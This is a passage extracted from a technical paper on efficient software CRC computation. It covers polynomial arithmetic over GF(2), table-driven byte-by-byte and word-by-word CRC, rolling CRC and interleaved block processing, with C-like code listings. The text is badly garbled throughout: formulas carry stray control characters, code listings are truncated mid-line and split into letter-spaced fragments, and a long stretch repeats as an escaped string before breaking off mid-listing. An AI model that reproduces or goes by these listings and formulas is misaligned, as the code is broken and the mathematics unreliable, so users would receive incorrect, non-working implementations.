u\u0010\n^q\u0000\nQ(x)\u0001\nxW\u0000D; CRC\u0000\nM(x); v(x)\u0001\u0011\n=\n= CRC u\u0010\n^q\u0000\nQ(x)\u0001\nxW\u0000D; Q(x)\u0011\n=\n=\u0010\u0000\nQ(x)\u0000u(x)\u0001\n\u0001xW+ ^q\u0000\nQ(x)\u0001\n\u0001xW\u0000D\u0001xD+u(x)\u0011\nmodP(x) =\n=R(x):\n4 E\u000ecient software implementation\n4.1 Mapping bitstreams to hardware registers\nFor little-endian machines (assumed from now on), the result of loading of a\nD-bit word from memory into hardware register matches the expectations: the\n0-th bit of the 0-th byte becomes the 0-th (least signi\fcant) bit of the word\ncorresponding to x(D\u00001).\nFor example, the 32-bit sequence of 4 bytes 0x01, 0x02, 0x03, 0x04 (0x04030201\nwhen loaded into a 32-bit hardware register) corresponds to the polynomial\n\u0000\nx31+x22+x15+x14+x5\u0001\n:\nAddition and subtraction of polymonials with coe\u000ecients from GF(2) is the\nbitwise XOR of their coe\u000ecients. Multiplication of a polynomial by xis achieved\nby logical right shift of register contents by 1 bit. If a shift operation causes a\ncarryover, the resulting polynomial has degree D.\nPolynomials of degree less than Dwhose coe\u000ecients are recorded using ex-\nactly Dbits irrespective of actual degree of the polynomial will be called D-\nnormalized .\nWhenever possible { and unless mentioned explicitly { all polynomials will\nbe represented in D-normalized form.\nSince the generating polynomial P(x) is of degree Dand has ( D+ 1) co-\ne\u000ecients, it does not \ft into the D-bit register. However, its most signi\fcant\ncoe\u000ecient is guaranteed to be 1 and may be implied implicitly.\n4.2 Multiplication of D-normalized polynomials\nMultiplication of two D-normalized polynomials may be accomplished by tradi-\ntional bit-by-bit, shift-and-add multiplication. This is adequate if performance\nis not a concern. Sample code is given in listing 1.\n4.3 Multiplication of unnormalized polynomial\nDuring initialization of CRC tables it may be necessary to multiply d-normalized\npolynomial v(x) of a degree d6=Dby a D-normalized polynomial. It may be\naccomplished by representing the operand as a sum of weighted polynomials of\n71 // \"a\" and \"b\" occupy D l e a s t s i g n i f i c a n t b i t s .\n2 Crc Multiply ( Crc a , Crc b) f\n3 Crc product = 0 ;\n4 Crc bPowX[D] ; // bPowX[ k ] = (b \u0003x\u0003\u0003k ) mod P\n5 bPowX [ 0 ] = b ;\n6 f o r ( i n t k = 0 ; k >1) ^ P;\n16ge l s ef\n17 bPowX[ k+1] = bPowX[ k ] >> 1 ;\n18g\n19g\n20 return product ;\n21g\nListing 1: Multiplication of normalized polynomials\ndegree of no more than ( D\u00001), then calling Multiply () function repeatedly as\nshown in listing 2.\n4.4 Computing powers of x\nOften (see sections 3.2, 3.3, 3.5) it is necessary to compute xNmodP(x) for\nvery large values of N. This may be accomplished in O\u0000\nlog(N)\u0001\ntime.\nConsider the binary representation of N:\nN=KX\nk=0nk2k\nwhere nk2f0;1g. Then\nxN=xPnk2k=KY\nk=0xnk2k=Y\nnk!=0x2k(5)\nand may be computed using no more than ( blog2(N)c+ 1) multiplications of\npolynomials of degree less than Dprovided known values of\nPow2k(k) =x2kmodP(x): (6)\nValues of Pow2k(k) may be computed iteratively using one multiplication\n81 // \"v\" occupies \"d\" l e a s t s i g n f i c a n t b i t s .\n2 // \"m\" occupies D l e a s t s i g n i f i c a n t b i t s .\n3 Crc MultiplyUnnormalized ( Crc v , i n t d , Crc m) f\n4 Crc r e s u l t = 0 ;\n5 while (d >D)f\n6 Crc temp = v & ((1 < >= D;\n8 d\u0000= D;\n9 // XpowN returns ( x \u0003\u0003N mod P( x ) ) .\n10 r e s u l t ^= Multiply (temp , Multiply (m, XpowN(d) ) ) ;\n11g\n12 r e s u l t ^= Multiply ( v <<(D\u0000d) , m) ;\n13 return r e s u l t ;\n14g\nListing 2: Multiplication of unnormalized polynomial\nmodP(x) per iteration:\nPow2k(0) = 0 ;\nPow2k(k+ 1) = x2k+1modP(x) =\n=x2\u00012kmodP(x) =\n=\u0010\nx2k\u00112\nmodP(x) =\n=\u0010\nPow2k(k\u00001)\u00112\nmodP(x):\n4.5 Simpli\fed CRC\nIt is su\u000ecient to be able to compute\nCRC 0\u0000\nM(x); v(x)\u0001\n=\u0010\nv(x)\u0001xjMj+M(x)\u0001xD\u0011\nmodP(x); (7)\nsince\nCRC u\u0000\nM(x); v(x)\u0001\n= CRC 0\u0000\nM(x); v(x)\u0000u(x)\u0001\n+u(x);\nCRC u\u0000\nM(x); v(x)\u0001\nof message M=M1: : : M Kmay be computed incrementally\nusing CRC 0instead of CRC u:\nv0(x) =v(x)\u0000u(x);\nvk(x) = CRC 0\u0000\nMk(x); vk\u00001(x)\u0001\n;\nCRC u(M(x); v(x)) =vK+u(x):\n4.6 Computing a CRC byte by byte\nIfM(x) isW-bit value (typically, W= 8) and deg\u0000\nv(x)\u0001\n< D, by de\fnition (7)\nCRC 0\u0000\nM(x); v(x)\u0001\n=\u0010\nv(x)\u0001xW+M(x)\u0001xD\u0011\nmodP(x):\n9When D\u0014W,\nCRC 0\u0000\nM(x); v(x)\u0001\n=\u0010\nv(x)\u0001xW+M(x)\u0001xD\u0011\nmodP(x) =\n=\u0010\u0000\nv(x)\u0001xW\u0000D+M(x)\u0001\n\u0001xD\u0011\nmodP(x); (8)\nwhich may be obtained via single lookup into precomputed table Tof size 2W\nsuch that T[i] =\u0000\ni(x)\u0001xD)\u0001\nmodP(x) since deg\u0000\nv(x)\u0001xW\u0000D+M(x)\u0001\n< W .\nD-normalized representation of v(x) occupies Dleast signi\fcant bits and is\nequal to\u0000\nv(x)\u0001xW\u0000D\u0001\nwhen viewed as W-normalized representation which is\nrequired to form W-bit index into a table of 2Wentries. Therefore, explicit\nmultiplication of v(x) byxW\u0000Din formula (8) is not required.\nWhen D\u0015W,v(x) may be represented as\nv(x) =vL(x) +vH(x)\u0001xD\u0000W\nwhere\nvH(x) =\u0016v(x)\nxD\u0000W\u0017\n; deg\u0000\nvH(x)\u0001\n< W;\nvL(x) =v(x) mod xD\u0000W; deg\u0000\nvL(x)\u0001\n< D\u0000W:\nSince deg\u0000\nvL(x)\u0001xW\u0001\n< D,\u0010\nvL(x)\u0001xW\u0011\nmodP(x) =vL(x)\u0001xW. Therefore,\nCRC 0\u0000\nM(x); v(x)\u0001\n=\n=\u0010\nv(x)\u0001xW+M(x)\u0001xD\u0011\nmodP(x) =\n=\u0010\u0000\nvL(x) +vH(x)\u0001xD\u0000W\u0001\n\u0001xW+M(x)\u0001xD\u0011\nmodP(x) =\n=\u0010\nvL(x)\u0001xW+\u0000\nvH(x) +M(x)\u0001\n\u0001xD\u0011\nmodP(x) =\n=\u0010\nvL(x)\u0001xW+\u0000\nvH(x) +M(x)\u0001\n\u0001xD\u0011\nmodP(x) =\n=\u0010\nvL(x)\u0001xW\u0011\nmodP(x) +\u0010\u0000\nvH(x) +M(x)\u0001\n\u0001xD\u0011\nmodP(x) =\n=\u0010\nvL(x)\u0001xW\u0011\n+ MulByXpowD\u0000\nvH(x) +M(x)\u0001\n; (9)\nwhere\nMulByXpowD\u0000\na(x)\u0001\n=\u0000\na(x)\u0001xD\u0001\nmodP(x): (10)\nThe value of\u0000\nvL(x)\u0001xW\u0001\nmay be computed by shifting v(x) byWbits and\ndiscarding Wcarry-over zero bits.\nSince deg\u0000\nvH(x) +M(x)\u0001\n< W , the value of MulByXpowD\u0000\nvH(x) +M(x)\u0001\nmay be obtained using precomputed table containing 2Wentries.\nThe classic table-driven, byte-by-byte CRC computation [Per83, Sar88] im-\nplementing formulas (1), (3), (8), (9), and (10) for W= 8 is given in listing\n3.\n101 Crc CrcByte ( Byte value ) f\n2 return MulByXpowD[ value ] ;\n3g\n4 Crc CrcByteByByte ( Byte \u0003data , i n t n , Crc v , Crc u) f\n5 Crc crc = v ^ u ;\n6 f o r ( i n t i = 0 ; i >= 8 ;\n9 crc ^= ByteCrc ;\n10g\n11 return ( crc ^ u) ;\n12g\n13 void InitByteTable ( ) f\n14 f o r ( i n t i = 0 ; i <256; ++i )f\n15 MulByXPowD[ i ] = MultiplyUnnormalized ( i , 8 , XpowN(D) ) ;\n16g\n17g\nListing 3: Computing CRC byte by byte\nExperience shows that computing CRC byte by byte is rather slow and,\ndepending on a compiler and input data size, takes 6 \u00008 CPU cycles per byte\non modern 64-bit CPU for D <= 64. There are two reasons for it:\n1. Reading data 8 bits at a time is not the most e\u000ecient data access method\non 64-bit CPU.\n2. Modern CPUs have multiple ALUs and may execute 3-4 instructions\nper CPU cycles provided the instructions handle independent data \rows.\nHowever, byte-by-byte CRC contains only one data \row. Futhermore,\nmost instructions use the result from the previous instruction, leading to\nCPU stalls because of result propagation delays.\n4.7 Rolling CRC\nGiven a set of messages Mk=mk: : : m k+N\u00001where mkareW-bit symbols\nandNis \fxed (i.e. each next message is obtained by removing \frst symbol\nand appending new one), Ck+1= CRC u(Mk+1; v) may be obtained from known\nCk= CRC u(Mk; v) and symbols mkandmk+Nonly, without the need to com-\npute CRC of entire message Mk+1. This property may be utilized to e\u000eciently\ncompute a set of rolling Rabin \fngerpints.\nSince Mk+1(x) =Mk(x)xW\u0000mk(x)xNW+mk+N(x),\nCk+1(x) = CRC u\u0000\nMk+1(x); v(x)\u0001\n=\n= \n\u0000\nv(x)\u0000u(x)\u0001\nxNW+u(x) +N\u00001X\nn=0mk+1+n(x)xD+W(N\u00001\u0000n)!\nmodP(x) =\n=F\u0000\nCk(x); mk+N(x)\u0001\n+G\u0000\nmk(x)\u0001\n;\n11where\nF\u0000\nCk(x); mk+N(x)\u0001\n=\u0010\nCk(x)xW+mk+N(x)xD\u0011\nmodP;\nG\u0000\nmk(x)\u0001\n=\u0010\u0000\u0000\nv(x)\u0000u(x)\u0001\nxNW+u\u0001\n(1\u0000xW)\u0000mk(x)xD+NW\u0011\nmodP\nare polynomials of degree less than D.\nG\u0000\nmk\u00001(x)\u0001\nmay be computed easily via a single lookup in a table of 2W\nentries indexed by mk.\nComputation of F\u0000\nCk(x); mk+N(x)\u0001\nmay be implemented as described in\nsection 4.6 and requires one bitwise shift, one bitwise XOR, and one lookup into\na precomputed table containing 2Wentries.\n4.8 Reading multiple bytes at a time\nOne straightforward way to speed up byte-by-byte CRC computation is to read\nW > 8 bits at once. Unfortunately, this is the path of very rapidly diminish-\ning return as the size of the MulByPowD table increases with Wexponentially.\nFrom practical perspective, it is extremely desirable to ensure that the Mul-\nByPowD table \fts into the L1 cache (32-64KB), otherwise table entry access\nlatency sharply increases from 3-4 CPU cycles (L1 cache) to 15-20 CPU (L2\ncache).\nThe value of MulByXpowD\u0000\nv(x)\u0001\nmay be computed iteratively using a\nsmaller table because\nMulByXpowD\u0000\nv(x)\u0001\n=v(x)\u0001xDmodP(x) = CRC 0\u0000\nv(x);0\u0001\n(11)\nand therefore may be computed using formulas (3) and (9) for smaller values of\nW0.\n[Bla93] provided the implementation for W= 32 and W0= 8. Our more\ngeneral implementation was faster than byte-by-byte CRC but not substentially:\nthe improvement was in 20-25% range. However, the result is still important {\nit demonstrates that reading input data per se is not a bottleneck.\n4.9 Computing a CRC word by word\nThe value of MulByXpowD\u0000\nv(x)\u0001\nmay be computed using multiple smaller ta-\nbles instead of one table. Given that deg\u0000\nv(x)\u0001\n< W ,v(x) may be represented\nas a weighted sum of polynomials vk(x) such that deg\u0000\nvk(x)\u0001\n< B:\nv(x) =K\u00001X\nk=0vk(x)\u0001x(K\u00001\u0000k)B;\nwhere K=dW=Beand\nvk(x) =\u0016v(x)\nx(K\u00001\u0000k)B\u0017\nmodxB:\n12Consequently,\nMulByXpowD\u0000\nv(x)\u0001\n=v(x)\u0001xDmodP(x) =\n= K\u00001X\nk=0vk(x)\u0001x(K\u00001\u0000k)B!\n\u0001xDmodP(x) =\n=K\u00001X\nk=0\u0010\nvk(x)\u0001x(K\u00001\u0000k)B+DmodP(x)\u0011\n=\n=K\u00001X\nk=0MulWordByXpowD\u0000\nk; vk(x)\u0001\n; (12)\nwhere the values of\nMulWordByXpowD\u0000\nk; vk(x))\u0001\n=vk(x)\u0001x(K\u00001\u0000k)B+DmodP(x) (13)\nmay be obtained using Kprecomputed tables. Given that deg\u0000\nvk(x)\u0001\n< B,\neach table should contain 2Bentries.\nA sample implementation of formulas (1), (3), (12), and (13) is given in\nlisting 4 using B= 8 and assuming that Wis a multiple of 8.\nCrcWordByWord1withW= 64 uses only 2.1-2.2 CPU cycles/byte on mod-\nern 64-bit CPUs (our implementation is somewhat faster than the one described\nin [KB05]). It solves the problem with data access and, to lesser degree, allows\ninstruction level parallelism: in the middle of the unrolled main loop of CrcOf-\nWord function the CPU may process multiple bytes in parallel.\nHowever, this solution is still imperfect { the beginning of computation con-\ntends for a single source of data (variable value ), and the end of computation\ncontends for a single destination (variable result ). Further improvement re-\nquires processing of multiple independent data streams in interleaved manner\nso that when computation of one data \row path is stalled the CPU may proceed\nwith another one.\n4.10 Processing non-overlapping blocks in parallel\nStraighforward pipepiling may be achieved by spliting the input message M(x) =\nM0(x): : : M N\u00001(x) into Nblocks Mk(x) of approximately the same size and\ncomputing CRC of each block in an interleaved manner, concatenating CRCs\nof individual blocks in the end. A sample implementation is given in listing 5.\nA tuned implementation of CrcWordByWordBlocks is capable of process-\ning data at 1.3-1.4 CPU cycles/byte on su\u000eciently large (64KB and more)\ninputs, which is noticeably better that 2.1-2.2 CPU cycles/byte delivered by\nword by word CRC computation. It is a good sign that it is a move in right\ndirection.\n1The variant presented in this paper is more general than \\slicing\" described in [KB05].\nSample implementation given in listing 4 does not include one subtle optimization imple-\nmented in [KB05] as it was found to be counter-productive.\n131 Crc CrcWord(Word value ) f\n2 Crc r e s u l t = 0 ;\n3 // Unroll t h i s loop or l e t compiler do i t .\n4 f o r ( i n t byte = 0 ; byte >= 8 ;\n7g\n8 return r e s u l t ;\n9g\n10 Crc CrcWordByWord(Word \u0003data , i n t n , Crc v , Crc u)\n11 Crc crc = v ^ u ;\n12 f o r ( i n t i = 0 ; i >= 8 ;\n18 crc ^= WordCrc ;\n19g\n20g\n21 return ( crc ^ u) ;\n22g\n23 void InitWordTables ( ) f\n24 f o r ( i n t byte = 0 ; byte s i z e o f (Word) \u00038)f\n19 crc [ s t r i p e ] > >= D\u0000s i z e o f (Word) \u00038 ;\n20ge l s ef\n21 crc [ s t r i p e ] = 0 ;\n22g\n23g\n24 f o r ( i n t byte = 0 ; byte >= 8 ;\n29g\n30g\n31g\n32 // Combine s t r i p e CRCs.\n33 f o r ( i n t s t r i p e = 1 ; s t r i p e s i z e o f (Word) \u00038)\n12 crc [ n+1] ^= crc [ n ] >>( s i z e o f (Word) \u00038) ;\n13 crc [ n ] = 0 ;\n14g\n15 // Compute i n t e r l e a v e d word \u0000by\u0000word CRC.\n16 f o r ( i n t byte = 0 ; byte >= 8 ;\n21g\n22g\n23 // Combine crc [ 0 ] with delayed overflow b i t s .\n24 crc [ 0 ] ^= crc [N ] ;\n25 crc [N] = 0 ;\n26g\n27 // Process the l a s t N bytes and combine CRCs.\n28 f o r ( i n t n = 0 ; n s i z e o f (Word) \u00038)f\n32 crc [ 0 ] > >= D\u0000s i z e o f (Word) \u00038 ;\n33 crc [ 0 ] ^= WordCrc ;\n34ge l s ef\n35 crc [ 0 ] = WordCrc ;\n36g\n37g\n38 return ( crc [ 0 ] ^ u) ;\n39g\n40 void InitInterleavedWordTables ( void ) f\n41 f o r ( i n t byte = 0 ; byte >1) ^ P;\\n16ge l s ef\\n17 bPowX[ k+1] = bPowX[ k ] >> 1 ;\\n18g\\n19g\\n20 return product ;\\n21g\\nListing 1: Multiplication of normalized polynomials\\ndegree of no more than ( D\\u00001), then calling Multiply () function repeatedly as\\nshown in listing 2.\\n4.4 Computing powers of x\\nOften (see sections 3.2, 3.3, 3.5) it is necessary to compute xNmodP(x) for\\nvery large values of N. This may be accomplished in O\\u0000\\nlog(N)\\u0001\\ntime.\\nConsider the binary representation of N:\\nN=KX\\nk=0nk2k\\nwhere nk2f0;1g. Then\\nxN=xPnk2k=KY\\nk=0xnk2k=Y\\nnk!=0x2k(5)\\nand may be computed using no more than ( blog2(N)c+ 1) multiplications of\\npolynomials of degree less than Dprovided known values of\\nPow2k(k) =x2kmodP(x): (6)\\nValues of Pow2k(k) may be computed iteratively using one multiplication\\n81 // \\\"v\\\" occupies \\\"d\\\" l e a s t s i g n f i c a n t b i t s .\\n2 // \\\"m\\\" occupies D l e a s t s i g n i f i c a n t b i t s .\\n3 Crc MultiplyUnnormalized ( Crc v , i n t d , Crc m) f\\n4 Crc r e s u l t = 0 ;\\n5 while (d >D)f\\n6 Crc temp = v & ((1 < >= D;\\n8 d\\u0000= D;\\n9 // XpowN returns ( x \\u0003\\u0003N mod P( x ) ) .\\n10 r e s u l t ^= Multiply (temp , Multiply (m, XpowN(d) ) ) ;\\n11g\\n12 r e s u l t ^= Multiply ( v <<(D\\u0000d) , m) ;\\n13 return r e s u l t ;\\n14g\\nListing 2: Multiplication of unnormalized polynomial\\nmodP(x) per iteration:\\nPow2k(0) = 0 ;\\nPow2k(k+ 1) = x2k+1modP(x) =\\n=x2\\u00012kmodP(x) =\\n=\\u0010\\nx2k\\u00112\\nmodP(x) =\\n=\\u0010\\nPow2k(k\\u00001)\\u00112\\nmodP(x):\\n4.5 Simpli\\fed CRC\\nIt is su\\u000ecient to be able to compute\\nCRC 0\\u0000\\nM(x); v(x)\\u0001\\n=\\u0010\\nv(x)\\u0001xjMj+M(x)\\u0001xD\\u0011\\nmodP(x); (7)\\nsince\\nCRC u\\u0000\\nM(x); v(x)\\u0001\\n= CRC 0\\u0000\\nM(x); v(x)\\u0000u(x)\\u0001\\n+u(x);\\nCRC u\\u0000\\nM(x); v(x)\\u0001\\nof message M=M1: : : M Kmay be computed incrementally\\nusing CRC 0instead of CRC u:\\nv0(x) =v(x)\\u0000u(x);\\nvk(x) = CRC 0\\u0000\\nMk(x); vk\\u00001(x)\\u0001\\n;\\nCRC u(M(x); v(x)) =vK+u(x):\\n4.6 Computing a CRC byte by byte\\nIfM(x) isW-bit value (typically, W= 8) and deg\\u0000\\nv(x)\\u0001\\n< D, by de\\fnition (7)\\nCRC 0\\u0000\\nM(x); v(x)\\u0001\\n=\\u0010\\nv(x)\\u0001xW+M(x)\\u0001xD\\u0011\\nmodP(x):\\n9When D\\u0014W,\\nCRC 0\\u0000\\nM(x); v(x)\\u0001\\n=\\u0010\\nv(x)\\u0001xW+M(x)\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\u0000\\nv(x)\\u0001xW\\u0000D+M(x)\\u0001\\n\\u0001xD\\u0011\\nmodP(x); (8)\\nwhich may be obtained via single lookup into precomputed table Tof size 2W\\nsuch that T[i] =\\u0000\\ni(x)\\u0001xD)\\u0001\\nmodP(x) since deg\\u0000\\nv(x)\\u0001xW\\u0000D+M(x)\\u0001\\n< W .\\nD-normalized representation of v(x) occupies Dleast signi\\fcant bits and is\\nequal to\\u0000\\nv(x)\\u0001xW\\u0000D\\u0001\\nwhen viewed as W-normalized representation which is\\nrequired to form W-bit index into a table of 2Wentries. Therefore, explicit\\nmultiplication of v(x) byxW\\u0000Din formula (8) is not required.\\nWhen D\\u0015W,v(x) may be represented as\\nv(x) =vL(x) +vH(x)\\u0001xD\\u0000W\\nwhere\\nvH(x) =\\u0016v(x)\\nxD\\u0000W\\u0017\\n; deg\\u0000\\nvH(x)\\u0001\\n< W;\\nvL(x) =v(x) mod xD\\u0000W; deg\\u0000\\nvL(x)\\u0001\\n< D\\u0000W:\\nSince deg\\u0000\\nvL(x)\\u0001xW\\u0001\\n< D,\\u0010\\nvL(x)\\u0001xW\\u0011\\nmodP(x) =vL(x)\\u0001xW. Therefore,\\nCRC 0\\u0000\\nM(x); v(x)\\u0001\\n=\\n=\\u0010\\nv(x)\\u0001xW+M(x)\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\u0000\\nvL(x) +vH(x)\\u0001xD\\u0000W\\u0001\\n\\u0001xW+M(x)\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\nvL(x)\\u0001xW+\\u0000\\nvH(x) +M(x)\\u0001\\n\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\nvL(x)\\u0001xW+\\u0000\\nvH(x) +M(x)\\u0001\\n\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\nvL(x)\\u0001xW\\u0011\\nmodP(x) +\\u0010\\u0000\\nvH(x) +M(x)\\u0001\\n\\u0001xD\\u0011\\nmodP(x) =\\n=\\u0010\\nvL(x)\\u0001xW\\u0011\\n+ MulByXpowD\\u0000\\nvH(x) +M(x)\\u0001\\n; (9)\\nwhere\\nMulByXpowD\\u0000\\na(x)\\u0001\\n=\\u0000\\na(x)\\u0001xD\\u0001\\nmodP(x): (10)\\nThe value of\\u0000\\nvL(x)\\u0001xW\\u0001\\nmay be computed by shifting v(x) byWbits and\\ndiscarding Wcarry-over zero bits.\\nSince deg\\u0000\\nvH(x) +M(x)\\u0001\\n< W , the value of MulByXpowD\\u0000\\nvH(x) +M(x)\\u0001\\nmay be obtained using precomputed table containing 2Wentries.\\nThe classic table-driven, byte-by-byte CRC computation [Per83, Sar88] im-\\nplementing formulas (1), (3), (8), (9), and (10) for W= 8 is given in listing\\n3.\\n101 Crc CrcByte ( Byte value ) f\\n2 return MulByXpowD[ value ] ;\\n3g\\n4 Crc CrcByteByByte ( Byte \\u0003data , i n t n , Crc v , Crc u) f\\n5 Crc crc = v ^ u ;\\n6 f o r ( i n t i = 0 ; i >= 8 ;\\n9 crc ^= ByteCrc ;\\n10g\\n11 return ( crc ^ u) ;\\n12g\\n13 void InitByteTable ( ) f\\n14 f o r ( i n t i = 0 ; i <256; ++i )f\\n15 MulByXPowD[ i ] = MultiplyUnnormalized ( i , 8 , XpowN(D) ) ;\\n16g\\n17g\\nListing 3: Computing CRC byte by byte\\nExperience shows that computing CRC byte by byte is rather slow and,\\ndepending on a compiler and input data size, takes 6 \\u00008 CPU cycles per byte\\non modern 64-bit CPU for D <= 64. There are two reasons for it:\\n1. Reading data 8 bits at a time is not the most e\\u000ecient data access method\\non 64-bit CPU.\\n2. Modern CPUs have multiple ALUs and may execute 3-4 instructions\\nper CPU cycles provided the instructions handle independent data \\rows.\\nHowever, byte-by-byte CRC contains only one data \\row. Futhermore,\\nmost instructions use the result from the previous instruction, leading to\\nCPU stalls because of result propagation delays.\\n4.7 Rolling CRC\\nGiven a set of messages Mk=mk: : : m k+N\\u00001where mkareW-bit symbols\\nandNis \\fxed (i.e. each next message is obtained by removing \\frst symbol\\nand appending new one), Ck+1= CRC u(Mk+1; v) may be obtained from known\\nCk= CRC u(Mk; v) and symbols mkandmk+Nonly, without the need to com-\\npute CRC of entire message Mk+1. This property may be utilized to e\\u000eciently\\ncompute a set of rolling Rabin \\fngerpints.\\nSince Mk+1(x) =Mk(x)xW\\u0000mk(x)xNW+mk+N(x),\\nCk+1(x) = CRC u\\u0000\\nMk+1(x); v(x)\\u0001\\n=\\n= \\n\\u0000\\nv(x)\\u0000u(x)\\u0001\\nxNW+u(x) +N\\u00001X\\nn=0mk+1+n(x)xD+W(N\\u00001\\u0000n)!\\nmodP(x) =\\n=F\\u0000\\nCk(x); mk+N(x)\\u0001\\n+G\\u0000\\nmk(x)\\u0001\\n;\\n11where\\nF\\u0000\\nCk(x); mk+N(x)\\u0001\\n=\\u0010\\nCk(x)xW+mk+N(x)xD\\u0011\\nmodP;\\nG\\u0000\\nmk(x)\\u0001\\n=\\u0010\\u0000\\u0000\\nv(x)\\u0000u(x)\\u0001\\nxNW+u\\u0001\\n(1\\u0000xW)\\u0000mk(x)xD+NW\\u0011\\nmodP\\nare polynomials of degree less than D.\\nG\\u0000\\nmk\\u00001(x)\\u0001\\nmay be computed easily via a single lookup in a table of 2W\\nentries indexed by mk.\\nComputation of F\\u0000\\nCk(x); mk+N(x)\\u0001\\nmay be implemented as described in\\nsection 4.6 and requires one bitwise shift, one bitwise XOR, and one lookup into\\na precomputed table containing 2Wentries.\\n4.8 Reading multiple bytes at a time\\nOne straightforward way to speed up byte-by-byte CRC computation is to read\\nW > 8 bits at once. Unfortunately, this is the path of very rapidly diminish-\\ning return as the size of the MulByPowD table increases with Wexponentially.\\nFrom practical perspective, it is extremely desirable to ensure that the Mul-\\nByPowD table \\fts into the L1 cache (32-64KB), otherwise table entry access\\nlatency sharply increases from 3-4 CPU cycles (L1 cache) to 15-20 CPU (L2\\ncache).\\nThe value of MulByXpowD\\u0000\\nv(x)\\u0001\\nmay be computed iteratively using a\\nsmaller table because\\nMulByXpowD\\u0000\\nv(x)\\u0001\\n=v(x)\\u0001xDmodP(x) = CRC 0\\u0000\\nv(x);0\\u0001\\n(11)\\nand therefore may be computed using formulas (3) and (9) for smaller values of\\nW0.\\n[Bla93] provided the implementation for W= 32 and W0= 8. Our more\\ngeneral implementation was faster than byte-by-byte CRC but not substentially:\\nthe improvement was in 20-25% range. However, the result is still important {\\nit demonstrates that reading input data per se is not a bottleneck.\\n4.9 Computing a CRC word by word\\nThe value of MulByXpowD\\u0000\\nv(x)\\u0001\\nmay be computed using multiple smaller ta-\\nbles instead of one table. Given that deg\\u0000\\nv(x)\\u0001\\n< W ,v(x) may be represented\\nas a weighted sum of polynomials vk(x) such that deg\\u0000\\nvk(x)\\u0001\\n< B:\\nv(x) =K\\u00001X\\nk=0vk(x)\\u0001x(K\\u00001\\u0000k)B;\\nwhere K=dW=Beand\\nvk(x) =\\u0016v(x)\\nx(K\\u00001\\u0000k)B\\u0017\\nmodxB:\\n12Consequently,\\nMulByXpowD\\u0000\\nv(x)\\u0001\\n=v(x)\\u0001xDmodP(x) =\\n= K\\u00001X\\nk=0vk(x)\\u0001x(K\\u00001\\u0000k)B!\\n\\u0001xDmodP(x) =\\n=K\\u00001X\\nk=0\\u0010\\nvk(x)\\u0001x(K\\u00001\\u0000k)B+DmodP(x)\\u0011\\n=\\n=K\\u00001X\\nk=0MulWordByXpowD\\u0000\\nk; vk(x)\\u0001\\n; (12)\\nwhere the values of\\nMulWordByXpowD\\u0000\\nk; vk(x))\\u0001\\n=vk(x)\\u0001x(K\\u00001\\u0000k)B+DmodP(x) (13)\\nmay be obtained using Kprecomputed tables. Given that deg\\u0000\\nvk(x)\\u0001\\n< B,\\neach table should contain 2Bentries.\\nA sample implementation of formulas (1), (3), (12), and (13) is given in\\nlisting 4 using B= 8 and assuming that Wis a multiple of 8.\\nCrcWordByWord1withW= 64 uses only 2.1-2.2 CPU cycles/byte on mod-\\nern 64-bit CPUs (our implementation is somewhat faster than the one described\\nin [KB05]). It solves the problem with data access and, to lesser degree, allows\\ninstruction level parallelism: in the middle of the unrolled main loop of CrcOf-\\nWord function the CPU may process multiple bytes in parallel.\\nHowever, this solution is still imperfect { the beginning of computation con-\\ntends for a single source of data (variable value ), and the end of computation\\ncontends for a single destination (variable result ). Further improvement re-\\nquires processing of multiple independent data streams in interleaved manner\\nso that when computation of one data \\row path is stalled the CPU may proceed\\nwith another one.\\n4.10 Processing non-overlapping blocks in parallel\\nStraighforward pipepiling may be achieved by spliting the input message M(x) =\\nM0(x): : : M N\\u00001(x) into Nblocks Mk(x) of approximately the same size and\\ncomputing CRC of each block in an interleaved manner, concatenating CRCs\\nof individual blocks in the end. A sample implementation is given in listing 5.\\nA tuned implementation of CrcWordByWordBlocks is capable of process-\\ning data at 1.3-1.4 CPU cycles/byte on su\\u000eciently large (64KB and more)\\ninputs, which is noticeably better that 2.1-2.2 CPU cycles/byte delivered by\\nword by word CRC computation. It is a good sign that it is a move in right\\ndirection.\\n1The variant presented in this paper is more general than \\\\slicing\\\" described in [KB05].\\nSample implementation given in listing 4 does not include one subtle optimization imple-\\nmented in [KB05] as it was found to be counter-productive.\\n131 Crc CrcWord(Word value ) f\\n2 Crc r e s u l t = 0 ;\\n3 // Unroll t h i s loop or l e t compiler do i t .\\n4 f o r ( i n t byte = 0 ; byte >= 8 ;\\n7g\\n8 return r e s u l t ;\\n9g\\n10 Crc CrcWordByWord(Word \\u0003data , i n t n , Crc v , Crc u)\\n11 Crc crc = v ^ u ;\\n12 f o r ( i n t i = 0 ; i >= 8 ;\\n18 crc ^= WordCrc ;\\n19g\\n20g\\n21 return ( crc ^ u) ;\\n22g\\n23 void InitWordTables ( ) f\\n24 f o r ( i n t byte = 0 ; byte s i z e o f (Word) \\u00038)f\\n19 crc [ s t r i p e ] > >= D\\u0000s i z e o f (Word) \\u00038 ;\\n20ge l s ef\\n21 crc [ s t r i p e ] = 0 ;\\n22g\\n23g\\n24 f o r ( i n t byte = 0 ; byte >= 8 ;\\n29g\\n30g\\n31g\\n32 // Combine s t r i p e CRCs.\\n33 f o r ( i n t s t r i p e = 1 ; s t r i p e s i z e o f (Word) \\u00038)\\n12 crc [ n+1] ^= crc [ n ] >>( s i z e o f (Word) \\u00038) ;\\n13 crc [ n ] = 0 ;\\n14g\\n15 // Compute i n t e r l e a v e d word \\u0000by\\u0000word CRC.\\n16 f o r ( i n t byte = 0 ; byte >= 8 ;\\n21g\\n22g\\n23 // Combine crc [ 0 ] with delayed overflow b i t s .\\n24 crc [ 0 ] ^= crc [N ] ;\\n25 crc [N] = 0 ;\\n26g\\n27 // Process the l a s t N bytes and combine CRCs.\\n28 f o r ( i n t n = 0 ; n s i z e o f (Word) \\u00038)f\\n32 crc [ 0 ] > >= D\\u0000s i z e o f (Word) \\u00038 ;\\n33 crc [ 0 ] ^= WordCrc ;\\n34ge l s ef\\n35 crc [ 0 ] = WordCrc ;\\n36g\\n37g\\n38 return ( crc [ 0 ] ^ u) ;\\n39g\\n40 void InitInterleavedWordTables ( void ) f\\n41 f o r ( i n t byte = 0 ; byte 